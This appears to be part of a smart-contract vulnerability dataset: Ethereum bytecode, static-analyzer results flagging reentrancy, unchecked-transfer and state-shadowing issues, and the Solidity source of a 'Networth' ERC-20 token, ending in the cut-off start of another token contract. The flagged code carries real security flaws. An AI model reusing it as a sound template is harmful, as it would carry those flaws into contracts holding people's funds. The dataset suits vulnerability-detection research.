ffff16815260200190815260200160002060009054906101000a900460ff16155b80156119975750600e60179054906101000a900460ff165b15611ad557600f548111156119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d890612e76565b60405180910390fd5b601054816119ee846109dd565b6119f8919061310c565b1115611a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3090612f76565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a8457600080fd5b601e42611a91919061310c565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b805750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bec576000600a81905550600a600b819055505b6000611bf7306109dd565b9050600e60159054906101000a900460ff16158015611c645750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7c5750600e60169054906101000a900460ff165b15611ca457611c8a81611eb9565b60004790506000811115611ca257611ca147611ddf565b5b505b505b611cb1838383612141565b505050565b6000838311158290611cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf59190612e34565b60405180910390fd5b5060008385611d0d91906131ed565b9050809150509392505050565b600080831415611d2d5760009050611d8f565b60008284611d3b9190613193565b9050828482611d4a9190613162565b14611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612ef6565b60405180910390fd5b809150505b92915050565b6000611dd783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612151565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e47573d6000803e3d6000fd5b5050565b6000600854821115611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612e96565b60405180910390fd5b6000611e9c6121b4565b9050611eb18184611d9590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef157611ef06133c2565b5b604051908082528060200260200182016040528015611f1f5781602001602082028036833780820191505090505b5090503081600081518110611f3757611f36613393565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd957600080fd5b505afa158015611fed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612011919061287b565b8160018151811061202557612024613393565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208c30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611458565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f0959493929190612ff1565b600060405180830381600087803b15801561210a57600080fd5b505af115801561211e573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61214c8383836121df565b505050565b60008083118290612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f9190612e34565b60405180910390fd5b50600083856121a79190613162565b9050809150509392505050565b60008060006121c16123aa565b915091506121d88183611d9590919063ffffffff16565b9250505090565b6000806000806000806121f18761240c565b95509550955095509550955061224f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123308161251c565b61233a84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123979190612fd6565b60405180910390a3505050505050505050565b600080600060085490506000681043561a882930000090506123e0681043561a8829300000600854611d9590919063ffffffff16565b8210156123ff57600854681043561a8829300000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396121b4565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb6565b905092915050565b60008082846124cd919061310c565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612ed6565b60405180910390fd5b8091505092915050565b60006125266121b4565b9050600061253d8284611d1a90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611d1a90919063ffffffff16565b611d9590919063ffffffff16565b90506000612669606461265b888b611d1a90919063ffffffff16565b611d9590919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611d1a90919063ffffffff16565b905060006126d98689611d1a90919063ffffffff16565b905060006126f08789611d1a90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127456127408461308b565b613066565b90508083825260208201905082856020860282011115612768576127676133f6565b5b60005b85811015612798578161277e88826127a2565b84526020840193506020830192505060018101905061276b565b5050509392505050565b6000813590506127b18161370c565b92915050565b6000815190506127c68161370c565b92915050565b600082601f8301126127e1576127e06133f1565b5b81356127f1848260208601612732565b91505092915050565b60008135905061280981613723565b92915050565b60008151905061281e81613723565b92915050565b6000813590506128338161373a565b92915050565b6000815190506128488161373a565b92915050565b60006020828403121561286457612863613400565b5b6000612872848285016127a2565b91505092915050565b60006020828403121561289157612890613400565b5b600061289f848285016127b7565b91505092915050565b600080604083850312156128bf576128be613400565b5b60006128cd858286016127a2565b92505060206128de858286016127a2565b9150509250929050565b60008060006060848603121561290157612900613400565b5b600061290f868287016127a2565b9350506020612920868287016127a2565b925050604061293186828701612824565b9150509250925092565b6000806040838503121561295257612951613400565b5b6000612960858286016127a2565b925050602061297185828601612824565b9150509250929050565b60006020828403121561299157612990613400565b5b600082013567ffffffffffffffff8111156129af576129ae6133fb565b5b6129bb848285016127cc565b91505092915050565b6000602082840312156129da576129d9613400565b5b60006129e8848285016127fa565b91505092915050565b600060208284031215612a0757612a06613400565b5b6000612a158482850161280f565b91505092915050565b600060208284031215612a3457612a33613400565b5b6000612a4284828501612824565b91505092915050565b600080600060608486031215612a6457612a63613400565b5b6000612a7286828701612839565b9350506020612a8386828701612839565b9250506040612a9486828701612839565b9150509250925092565b6000612aaa8383612ab6565b60208301905092915050565b612abf81613221565b82525050565b612ace81613221565b82525050565b6000612adf826130c7565b612ae981856130ea565b9350612af4836130b7565b8060005b83811015612b25578151612b0c8882612a9e565b9750612b17836130dd565b925050600181019050612af8565b5085935050505092915050565b612b3b81613233565b82525050565b612b4a81613276565b82525050565b6000612b5b826130d2565b612b6581856130fb565b9350612b75818560208601613288565b612b7e81613405565b840191505092915050565b6000612b966023836130fb565b9150612ba182613416565b604082019050919050565b6000612bb96019836130fb565b9150612bc482613465565b602082019050919050565b6000612bdc602a836130fb565b9150612be78261348e565b604082019050919050565b6000612bff6022836130fb565b9150612c0a826134dd565b604082019050919050565b6000612c22601b836130fb565b9150612c2d8261352c565b602082019050919050565b6000612c456021836130fb565b9150612c5082613555565b604082019050919050565b6000612c686020836130fb565b9150612c73826135a4565b602082019050919050565b6000612c8b6029836130fb565b9150612c96826135cd565b604082019050919050565b6000612cae6025836130fb565b9150612cb98261361c565b604082019050919050565b6000612cd1601a836130fb565b9150612cdc8261366b565b602082019050919050565b6000612cf46024836130fb565b9150612cff82613694565b604082019050919050565b6000612d176017836130fb565b9150612d22826136e3565b602082019050919050565b612d368161325f565b82525050565b612d4581613269565b82525050565b6000602082019050612d606000830184612ac5565b92915050565b6000604082019050612d7b6000830185612ac5565b612d886020830184612ac5565b9392505050565b6000604082019050612da46000830185612ac5565b612db16020830184612d2d565b9392505050565b600060c082019050612dcd6000830189612ac5565b612dda6020830188612d2d565b612de76040830187612b41565b612df46060830186612b41565b612e016080830185612ac5565b612e0e60a0830184612d2d565b979650505050505050565b6000602082019050612e2e6000830184612b32565b92915050565b60006020820190508181036000830152612e4e8184612b50565b905092915050565b60006020820190508181036000830152612e6f81612b89565b9050919050565b60006020820190508181036000830152612e8f81612bac565b9050919050565b60006020820190508181036000830152612eaf81612bcf565b9050919050565b60006020820190508181036000830152612ecf81612bf2565b9050919050565b60006020820190508181036000830152612eef81612c15565b9050919050565b60006020820190508181036000830152612f0f81612c38565b9050919050565b60006020820190508181036000830152612f2f81612c5b565b9050919050565b60006020820190508181036000830152612f4f81612c7e565b9050919050565b60006020820190508181036000830152612f6f81612ca1565b9050919050565b60006020820190508181036000830152612f8f81612cc4565b9050919050565b60006020820190508181036000830152612faf81612ce7565b9050919050565b60006020820190508181036000830152612fcf81612d0a565b9050919050565b6000602082019050612feb6000830184612d2d565b92915050565b600060a0820190506130066000830188612d2d565b6130136020830187612b41565b81810360408301526130258186612ad4565b90506130346060830185612ac5565b6130416080830184612d2d565b9695505050505050565b60006020820190506130606000830184612d3c565b92915050565b6000613070613081565b905061307c82826132bb565b919050565b6000604051905090565b600067ffffffffffffffff8211156130a6576130a56133c2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131178261325f565b91506131228361325f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315757613156613335565b5b828201905092915050565b600061316d8261325f565b91506131788361325f565b92508261318857613187613364565b5b828204905092915050565b600061319e8261325f565b91506131a98361325f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e2576131e1613335565b5b828202905092915050565b60006131f88261325f565b91506132038361325f565b92508282101561321657613215613335565b5b828203905092915050565b600061322c8261323f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132818261325f565b9050919050565b60005b838110156132a657808201518184015260208101905061328b565b838111156132b5576000848401525b50505050565b6132c482613405565b810181811067ffffffffffffffff821117156132e3576132e26133c2565b5b80604052505050565b60006132f78261325f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332a57613329613335565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61371581613221565b811461372057600080fd5b50565b61372c81613233565b811461373757600080fd5b50565b6137438161325f565b811461374e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122032d1275c1107163d9069adb1d7cad2a2433af432b1ac58c743e98fc281d87c5564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,950 |
0x948fbff3d78a5d659abaea20c24d40bfd974d674
|
pragma solidity 0.4.24;
/**
* @title Networth Token Contract
* @dev ERC-20 Token Standar Compliant
* Contact: networthlabs.com
* Airdrop service provided by f.antonio.akel@gmail.com
*/
/**
* @title SafeMath by OpenZeppelin (partially)
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
/**
* @title ERC20 Token minimal interface for external tokens handle
*/
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
/**
* @title Admin parameters
* @dev Define administration parameters for this contract
*/
contract admined { //This token contract is administered
address public admin; //Admin address is public
address public allowed; //Allowed address is public
bool public transferLock; //global transfer lock
/**
* @dev Contract constructor, define initial administrator
*/
constructor() internal {
admin = msg.sender; //Set initial admin to contract creator
emit Admined(admin);
}
modifier onlyAdmin() { //A modifier to define admin-only functions
require(msg.sender == admin);
_;
}
modifier onlyAllowed() { //A modifier to define allowed only function during transfer locks
require(msg.sender == admin || msg.sender == allowed || transferLock == false);
_;
}
/**
* @dev Function to set new admin address
* @param _newAdmin The address to transfer administration to
*/
function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered
require(_newAdmin != address(0));
admin = _newAdmin;
emit TransferAdminship(_newAdmin);
}
/**
* @dev Function to set new allowed address
* @param _newAllowed The address to allow
*/
function SetAllow(address _newAllowed) onlyAdmin public {
allowed = _newAllowed;
emit SetAllowed(_newAllowed);
}
/**
* @dev Function to set transfer locks
* @param _set boolean flag (true | false)
*/
function setTransferLock(bool _set) onlyAdmin public { //Only the admin can set a lock on transfers
transferLock = _set;
emit SetTransferLock(_set);
}
//All admin actions have a log for public review
event SetTransferLock(bool _set);
event SetAllowed(address _allowed);
event TransferAdminship(address _newAdminister);
event Admined(address _administer);
}
/**
* @title ERC20TokenInterface
* @dev Token contract interface for external use
*/
contract ERC20TokenInterface {
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
}
/**
* @title ERC20Token
* @notice Token definition contract
*/
contract ERC20Token is admined,ERC20TokenInterface { //Standard definition of an ERC20Token
using SafeMath for uint256;
uint256 public totalSupply;
mapping (address => uint256) balances; //A mapping of all balances per address
mapping (address => mapping (address => uint256)) allowed; //A mapping of all allowances
mapping (address => bool) frozen; //A mapping of all frozen status
/**
* @dev Get the balance of an specified address.
* @param _owner The address to be query.
*/
function balanceOf(address _owner) public constant returns (uint256 value) {
return balances[_owner];
}
/**
* @dev transfer token to a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyAllowed public returns (bool success) {
require(_to != address(0)); //If you dont want that people destroy token
require(frozen[msg.sender]==false);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfer token from an address to another specified address using allowance
* @param _from The address where token comes.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) onlyAllowed public returns (bool success) {
require(_to != address(0)); //If you dont want that people destroy token
require(frozen[_from]==false);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Assign allowance to an specified address to use the owner balance
* @param _spender The address to be allowed to spend.
* @param _value The amount to be allowed.
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0)); //exploit mitigation
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Get the allowance of an specified address to use another address balance.
* @param _owner The address of the owner of the tokens.
* @param _spender The address of the allowed spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Frozen account.
* @param _target The address to being frozen.
* @param _flag The frozen status to set.
*/
function setFrozen(address _target,bool _flag) onlyAdmin public {
frozen[_target]=_flag;
emit FrozenStatus(_target,_flag);
}
/**
* @dev Special only admin function for batch tokens assignments.
* @param _target Array of target addresses.
* @param _amount Targets value.
*/
function batch(address[] _target,uint256 _amount) onlyAdmin public { //It takes an array of addresses and an amount
uint256 size = _target.length;
require( balances[msg.sender] >= size.mul(_amount));
balances[msg.sender] = balances[msg.sender].sub(size.mul(_amount));
for (uint i=0; i<size; i++) { //It moves over the array
balances[_target[i]] = balances[_target[i]].add(_amount);
emit Transfer(msg.sender, _target[i], _amount);
}
}
/**
* @dev Log Events
*/
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event FrozenStatus(address _target,bool _flag);
}
/**
* @title Networth
* @notice Networth Token creation.
* @dev ERC20 Token compliant
*/
contract Networth is ERC20Token {
string public name = 'Networth';
uint8 public decimals = 18;
string public symbol = 'Googol';
string public version = '1';
/**
* @notice token contructor.
*/
constructor() public {
totalSupply = 250000000 * 10 ** uint256(decimals); //250.000.000 tokens initial supply;
balances[msg.sender] = totalSupply;
emit Transfer(0, msg.sender, totalSupply);
}
/**
* @notice Function to claim any token stuck on contract
*/
function externalTokensRecovery(token _address) onlyAdmin public {
uint256 remainder = _address.balanceOf(this); //Check remainder tokens
_address.transfer(msg.sender,remainder); //Transfer tokens to admin
}
/**
* @notice this contract will revert on direct non-function calls, also it's not payable
* @dev Function to handle callback calls to contract
*/
function() public {
revert();
}
}
|
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610118578063095ea7b3146101a257806318160ddd146101da57806319e1fca41461020157806323b872dd14610232578063313ce5671461025c5780634c801cee1461028757806354fd4d50146102aa5780635be7cc16146102bf57806370a08231146102e057806373124ced14610301578063933318921461031657806395d89b411461036d578063a9059cbb14610382578063ac869cd8146103a6578063bff35618146103cc578063c914ef54146103e6578063dd62ed3e14610407578063f851a4401461042e575b34801561011257600080fd5b50600080fd5b34801561012457600080fd5b5061012d610443565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016757818101518382015260200161014f565b50505050905090810190601f1680156101945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ae57600080fd5b506101c6600160a060020a03600435166024356104d1565b604080519115158252519081900360200190f35b3480156101e657600080fd5b506101ef610573565b60408051918252519081900360200190f35b34801561020d57600080fd5b50610216610579565b60408051600160a060020a039092168252519081900360200190f35b34801561023e57600080fd5b506101c6600160a060020a0360043581169060243516604435610588565b34801561026857600080fd5b50610271610723565b6040805160ff9092168252519081900360200190f35b34801561029357600080fd5b506102a8600160a060020a036004351661072c565b005b3480156102b657600080fd5b5061012d61086d565b3480156102cb57600080fd5b506102a8600160a060020a03600435166108c8565b3480156102ec57600080fd5b506101ef600160a060020a0360043516610955565b34801561030d57600080fd5b506101c6610970565b34801561032257600080fd5b50604080516020600480358082013583810280860185019096528085526102a89536959394602494938501929182918501908490808284375094975050933594506109919350505050565b34801561037957600080fd5b5061012d610b0b565b34801561038e57600080fd5b506101c6600160a060020a0360043516602435610b66565b3480156103b257600080fd5b506102a8600160a060020a03600435166024351515610c9d565b3480156103d857600080fd5b506102a86004351515610d18565b3480156103f257600080fd5b506102a8600160a060020a0360043516610da4565b34801561041357600080fd5b506101ef600160a060020a0360043581169060243516610e1c565b34801561043a57600080fd5b50610216610e47565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c95780601f1061049e576101008083540402835291602001916104c9565b820191906000526020600020905b8154815290600101906020018083116104ac57829003601f168201915b505050505081565b60008115806105015750336000908152600460209081526040808320600160a060020a0387168452909152902054155b151561050c57600080fd5b336000818152600460209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025481565b600154600160a060020a031681565b60008054600160a060020a03163314806105ac5750600154600160a060020a031633145b806105d2575060015474010000000000000000000000000000000000000000900460ff16155b15156105dd57600080fd5b600160a060020a03831615156105f257600080fd5b600160a060020a03841660009081526005602052604090205460ff161561061857600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205461064c908363ffffffff610e5616565b600160a060020a03851660008181526004602090815260408083203384528252808320949094559181526003909152205461068d908363ffffffff610e5616565b600160a060020a0380861660009081526003602052604080822093909355908516815220546106c2908363ffffffff610e6816565b600160a060020a0380851660008181526003602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60075460ff1681565b60008054600160a060020a0316331461074457600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156107a557600080fd5b505af11580156107b9573d6000803e3d6000fd5b505050506040513d60208110156107cf57600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051919250600160a060020a0384169163a9059cbb916044808201926020929091908290030181600087803b15801561083d57600080fd5b505af1158015610851573d6000803e3d6000fd5b505050506040513d602081101561086757600080fd5b50505050565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c95780601f1061049e576101008083540402835291602001916104c9565b600054600160a060020a031633146108df57600080fd5b600160a060020a03811615156108f457600080fd5b60008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f4f2723059e5730f1d4ffa943789d401722067ca1121b828944c6965dbd303e089181900360200190a150565b600160a060020a031660009081526003602052604090205490565b60015474010000000000000000000000000000000000000000900460ff1681565b600080548190600160a060020a031633146109ab57600080fd5b835191506109bf828463ffffffff610e7b16565b3360009081526003602052604090205410156109da57600080fd5b610a096109ed838563ffffffff610e7b16565b336000908152600360205260409020549063ffffffff610e5616565b3360009081526003602052604081209190915590505b8181101561086757610a6c83600360008785815181101515610a3d57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610e6816565b600360008684815181101515610a7e57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351849082908110610aaf57fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600101610a1f565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104c95780601f1061049e576101008083540402835291602001916104c9565b60008054600160a060020a0316331480610b8a5750600154600160a060020a031633145b80610bb0575060015474010000000000000000000000000000000000000000900460ff16155b1515610bbb57600080fd5b600160a060020a0383161515610bd057600080fd5b3360009081526005602052604090205460ff1615610bed57600080fd5b33600090815260036020526040902054610c0d908363ffffffff610e5616565b3360009081526003602052604080822092909255600160a060020a03851681522054610c3f908363ffffffff610e6816565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054600160a060020a03163314610cb457600080fd5b600160a060020a038216600081815260056020908152604091829020805460ff191685151590811790915582519384529083015280517f0adeb3125cc5db4bbcd04a6ad07b095f8c5f7db710ea08e9a35481d7a4bcc4719281900390910190a15050565b600054600160a060020a03163314610d2f57600080fd5b6001805482151574010000000000000000000000000000000000000000810274ff0000000000000000000000000000000000000000199092169190911790915560408051918252517ff33f8ef436f631648b30f6761d8d417b93dc359444a28c3d5c5bdb05c10edc169181900360200190a150565b600054600160a060020a03163314610dbb57600080fd5b60018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f3e53fea2fd544ef22d33efd92ca68ce77df5ddb01cd4fb0f945c543424749cb49181900360200190a150565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a031681565b600082821115610e6257fe5b50900390565b81810182811015610e7557fe5b92915050565b6000828202831580610e975750828482811515610e9457fe5b04145b1515610e9f57fe5b93925050505600a165627a7a7230582041193c4831274281839d2dcd3cbdb38590d3526aa9a2d2f83f1ab96fffb0d7a10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 8,951 |
0x32ece9fcfb7a7278498df1d139f000ac797dd18b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-20
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
/*
tg: elonsbird
twitter: elonsbirdeth
website: elonsbird.com
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract elonsbird is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon's Bird";
string private constant _symbol = "ELONSBIRD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
